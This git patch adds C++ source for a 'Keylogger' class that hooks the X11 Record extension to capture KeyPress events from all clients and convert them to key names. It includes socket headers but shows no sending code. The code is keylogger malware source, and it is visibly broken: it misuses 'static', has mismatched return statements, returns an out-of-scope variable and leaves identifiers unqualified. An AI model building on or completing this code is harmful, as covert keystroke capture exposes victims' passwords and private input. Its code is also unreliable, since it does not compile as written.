From 00701af646de99bf0c7b0d16a29edcaa4707b3e8 Mon Sep 17 00:00:00 2001
From: Vianney Bouchaud <vianney@bouchaud.org>
Date: Thu, 6 Oct 2011 19:06:28 +0200
Subject: base-class non-usable

---
 includes/Keylogger.hpp | 71 ++++++++++++++++++++++++++++++++++++++++
 srcs/Keylogger.cpp     | 88 ++++++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 159 insertions(+)
 create mode 100644 includes/Keylogger.hpp
 create mode 100644 srcs/Keylogger.cpp

diff --git a/includes/Keylogger.hpp b/includes/Keylogger.hpp
new file mode 100644
index 0000000..91f5a71
--- /dev/null
+++ b/includes/Keylogger.hpp
@@ -0,0 +1,71 @@
+//
+// Keylogger.hpp for Keylogger clas in /home/vianney
+// 
+// Made by Vianney Bouchaud
+// Login   <vianney@bouchaud.org>
+// 
+// Started on  Wed Oct  5 13:59:20 2011 Vianney Bouchaud
+// Last update Thu Oct  6 19:04:04 2011 Vianney Bouchaud
+//
+
+#ifndef __KEYLOGGER_HH__
+# define __KEYLOGGER_HH__
+
+#include <X11/Xlibint.h>
+#include <X11/Xlib.h>
+#include <X11/Xutil.h>
+#include <X11/Xos.h>
+#include <X11/Shell.h>
+#include <X11/cursorfont.h>
+#include <X11/keysymdef.h>
+#include <X11/keysym.h>
+#include <X11/extensions/record.h>
+#include <X11/extensions/XTest.h>
+#include <unistd.h>
+#include <exception>
+#include <string>
+#include <iostream>
+#include <stdio.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <netdb.h>
+
+struct		CallbackClosure {
+  Display	*ctrlDisplay;
+  Display	*dataDisplay;
+  int		curX;
+  int		curY;
+  void		*initialObject;
+};
+
+typedef union {
+  unsigned char		type;
+  xEvent		event;
+  xResourceReq		req;
+  xGenericReply		reply;
+  xError		error;
+  xConnSetupPrefix	setup;
+}			XRecordDatum;
+
+class			Keylogger {
+public:
+  Keylogger();
+  ~Keylogger();
+  void			start();
+  void			stop();
+  void			processData();
+  bool			xConnect(std::string displayName);
+
+private:
+  std::string		m_displayName;
+  CallbackClosure	userData;
+  std::pair<int,int>	recVer;
+  XRecordRange		*recRange;
+  XRecordClientSpec	recClientSpec;
+  XRecordContext	recContext;
+
+  void			setupRecordExtension();
+  static std::string	eventCallback(XPointer priv, XRecordInterceptData *hook);
+};
+
+#endif /* !__KEYLOGGER_HH__ */
diff --git a/srcs/Keylogger.cpp b/srcs/Keylogger.cpp
new file mode 100644
index 0000000..2dd2b90
--- /dev/null
+++ b/srcs/Keylogger.cpp
@@ -0,0 +1,88 @@
+//
+// Keylogger.cpp for Keylogger class in /home/vianney
+// 
+// Made by Vianney Bouchaud
+// Login   <vianney@bouchaud.org>
+// 
+// Started on  Wed Oct  5 13:58:25 2011 Vianney Bouchaud
+// Last update Thu Oct  6 19:03:44 2011 Vianney Bouchaud
+//
+
+#include	<string>
+#include	"Keylogger.hpp"
+
+Keylogger::Keylogger()
+{
+}
+
+Keylogger::~Keylogger()
+{
+  stop();
+}
+
+void		Keylogger::start()
+{
+  if (!XRecordEnableContextAsync(userData.dataDisplay, recContext, eventCallback, (XPointer) &userData))
+    throw exception();
+}
+
+void		Keylogger::stop()
+{
+  if(!XRecordDisableContext(userData.ctrlDisplay, recContext))
+    throw exception();
+}
+
+void		Keylogger::setupRecordExtension()
+{
+  XSynchronize(userData.ctrlDisplay, True);
+  if (!XRecordQueryVersion(userData.ctrlDisplay, &recVer.first, &recVer.second))
+    throw exception();
+  recRange = XRecordAllocRange();
+  if (!recRange)
+    throw exception();
+  recRange->device_events.first = KeyPress;
+  recRange->device_events.last = KeyPress;
+  recClientSpec = XRecordAllClients;
+  recContext = XRecordCreateContext(userData.ctrlDisplay, 0, &recClientSpec, 1, &recRange, 1);
+  if (!recContext)
+    throw exception();
+}
+
+void		Keylogger::processData()
+{
+  XRecordProcessReplies(userData.dataDisplay);
+}
+
+bool		Keylogger::xConnect(string displayName)
+{
+  m_displayName = displayName;
+  if (NULL == (userData.ctrlDisplay = XOpenDisplay(m_displayName.c_str())))
+    return (false);
+  if (NULL == (userData.dataDisplay = XOpenDisplay(m_displayName.c_str())))
+    {
+      XCloseDisplay(userData.ctrlDisplay);
+      userData.ctrlDisplay = NULL;
+      return (false);
+    }
+  userData.initialObject = (void *)this;
+  setupRecordExtension();
+  return (true);
+}
+
+static std::string	Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook)
+{
+  if (hook->category != XRecordFromServer)
+    {
+      XRecordFreeData(hook);
+      return;
+    }
+  CallbackClosure *userData = (CallbackClosure *)priv;
+  XRecordDatum *data = (XRecordDatum *) hook->data;
+  if(data->event.u.u.type == KeyPress)
+    {
+      int c = data->event.u.u.detail;
+      std::string solv = XKeysymToString(XKeycodeToKeysym(userData->ctrlDisplay, c, 0));
+    }
+  XRecordFreeData(hook);
+  return (solv);
+}
-- 
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